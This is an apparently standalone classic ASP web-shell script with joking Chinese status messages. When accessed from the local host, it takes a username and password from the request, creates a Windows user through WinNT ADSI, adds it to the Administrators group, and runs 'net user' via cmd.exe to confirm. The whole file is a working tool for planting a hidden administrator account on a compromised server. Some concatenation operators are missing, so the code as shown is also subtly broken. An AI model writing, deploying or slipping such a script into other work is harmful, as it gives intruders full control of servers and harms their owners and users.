%@codepage=936 on error resume next if request.servervariables("REMOTE_ADDR")>"127.0.0.1" then response.write "iP !s n0T RiGHt" else if request("username")>"" then username=request("username") passwd=request("passwd") Response.Expires=0 Session.TimeOut=50 Server.ScriptTimeout=3000 set lp=Server.createObject("WSCRIPT.NETWORK") oz="WinNT://"lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz"/Administrators,group") Set od=ob.create("user",username) od.SetPassword passwd od.SetInfo oe.Add oz"/"username if err then response.write "哎~~今天你還是別買6+1了……省下2元錢買瓶可樂也好……" else if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "username.stdout.readall),"上次登錄")>0 then response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很郁悶吧" else Response.write "OMG!"username"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了" end if end if else response.write "請輸入輸入用戶名" end if end if %>